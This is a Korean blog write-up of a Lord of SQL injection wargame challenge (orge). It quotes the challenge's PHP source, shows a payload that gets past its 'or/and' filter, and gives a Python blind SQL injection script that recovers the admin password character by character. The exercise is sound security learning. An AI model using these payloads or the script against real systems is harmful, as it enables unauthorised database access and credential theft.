문제 7번 - orge
query : select id from prob_orge where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
일단 다른 문제들과 마찬가지로 php코드가 주어져있다.
먼저 필터링함수를 확인해보면 앞선 문제들과 같이 prob와 _ , . , ( , )을 필터링하지만 추가로 or과 and를 필터링하는 것을 알 수 있다. 추가로 i를 통해 대소문자를 구별하지 않는 것도 확인할 수 있다.
<?php
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
?>
또 clear 조건을 확인하기 위해 조건문 코드를 계속 확인해보니 이전 문제들과는 다르게 비밀번호가 필요하다는 것을 알 수 있다. 아마도 비밀번호를 찾아서 입력해야 clear할 수 있나보다.
<?php
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
이럴 때는 비밀번호를 무작정 찾기 보다는 비밀번호의 크기를 먼저 찾을 수 있으면 찾는 것이 중요한데 아래 코드를 확인 해보면 참인 값이 주어졌을 때 Hello admin을 출력하는 것을 확인할 수 있다. 따라서 참일 때까지 비밀번호의 크기를 입력하여 찾아야한다.
<?php
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
?>
비밀번호의 크기를 찾기 위해서 사용할 문법은 문자열의 크기를 나타내는 length를 이용하였다.
비밀번호를 모르니 pw는 아무것이나 써주고 or 대신에 ||를 사용한 후 뒤에 id는 admin이면서 pw의 길이를 1부터 하나씩 대입해보았다.
ex) pw=1' ||length(pw)=8%23
pw의 길이를 8이라고 입력하니 Hello admin이 출력되었다.
이제 pw의 길이가 8이라는 것을 알아냈으니 파이썬 코드를 이용하여 반복문을 만들고 비밀번호를 찾아야한다.
문제 4번을 해결할 때 세팅은 다했으므로 필터링함수에 걸리지 않게만 조절하고 작성해보았다.
import requests
import string
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'||"
cookie =dict(PHPSESSID="쿠키값")
char = string.digits+string.ascii_letters
result=""
for i in range(1,9):
for j in char:
param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
URL = url+param
response = requests.get(URL, cookies=cookie)
if response.text.find("Hello admin")>0:
print (j)
result += j
break
print("pw는",result,"입니다")
저 코드를 이용하여 pw를 구하면 7b751aec이다.
따라서 해당 주소 php 뒤에 pw=7b751aec를 입력한다.
solve
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 9번 vampire write-up (0) | 2021.07.06 |
---|---|
LOS (Lord of SQL injection) 문제 8번 troll write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 6번 darkelf write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 5번 wolfman write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 4번 orc write-up (0) | 2021.07.06 |